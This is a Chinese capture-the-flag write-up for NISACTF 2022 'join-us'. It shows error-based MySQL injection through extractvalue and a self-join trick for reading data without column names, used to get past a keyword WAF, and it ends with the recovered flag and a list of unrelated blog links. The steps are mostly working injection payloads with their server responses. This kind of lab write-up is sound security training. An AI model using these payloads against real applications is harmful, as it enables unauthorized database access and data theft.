[NISACTF 2022]join-us - 报错注入&无列名注入

点击登录,找到注入点

这种框,可以直接爆破关键字,看是否拦截,也可以手动尝试,发现=、union、and、or、substr、database等关键字都拦截了

1、学到了:可以用数据库中不存在的表名或者不存在的自定义函数名爆出数据库名,1'-a()#1' || (select * from aa)#

FUNCTION sqlsql.a does not exist

2、直接甩一个报错注入上去,extractvalue(0,concat(0x7e,1,0x7e));#

没拦截,说明可以试一下

3、1' || extractvalue(0,concat(0x7e,1,0x7e));#

XPATH syntax error: '~ 1 ~',说明报错成功了

4、1' || extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'),1,30),0x7e));#

XPATH syntax error: '~ Fal_flag,output ~'

5、1' || extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from Fal_flag),1,100),0x7e));#

不要耍小心思喔~ ------ column被waf,无列名注入

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag as a join Fal_flag as b)as c),1,100),0x7e));#

不要耍小心思喔~ ------ as被waf,去掉as

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b) c),1,100),0x7e));#

Duplicate column name 'id'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id)) c),1,100),0x7e));#

Duplicate column name 'data'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c),1,100),0x7e));#

Duplicate column name 'i_tell_u_this_is_Fal(se)_flag_is_in_another' ------ flag在另一个表(output)

6、1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b) c),1,100),0x7e));#

Duplicate column name 'data'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),1,100),0x7e));#

XPATH syntax error: '~ NSSCTF{77a4667a-b16e-46a6-87...'

1' || extractvalue(0,concat(0x7e,mid((select * from (select * from output a join output b using(data)) c),20,100),0x7e));#

XPATH syntax error: '~ e-46a6-87fc-f981f48eeb5c} ~'

相关推荐
码农小卡拉10 小时前
深入解析Spring Boot文件加载顺序与加载方式
java·数据库·spring boot
小羊不会打字10 小时前
CANN 生态中的模型安全加固:`secure-model-deploy` 项目实践指南
安全·neo4j
怣5010 小时前
MySQL多表连接:全外连接、交叉连接与结果集合并详解
数据库·sql
wjhx10 小时前
QT中对蓝牙权限的申请,整理一下
java·数据库·qt
独行soc10 小时前
2026年渗透测试面试题总结-18(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
冰暮流星10 小时前
javascript之二重循环练习
开发语言·javascript·数据库
万岳科技系统开发11 小时前
食堂采购系统源码库存扣减算法与并发控制实现详解
java·前端·数据库·算法
冉冰学姐11 小时前
SSM智慧社区管理系统jby69(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·管理系统·智慧社区·ssm 框架
杨超越luckly11 小时前
HTML应用指南:利用GET请求获取中国500强企业名单,揭秘企业增长、分化与转型的新常态
前端·数据库·html·可视化·中国500强
Elastic 中国社区官方博客11 小时前
Elasticsearch:Workflows 介绍 - 9.3
大数据·数据库·人工智能·elasticsearch·ai·全文检索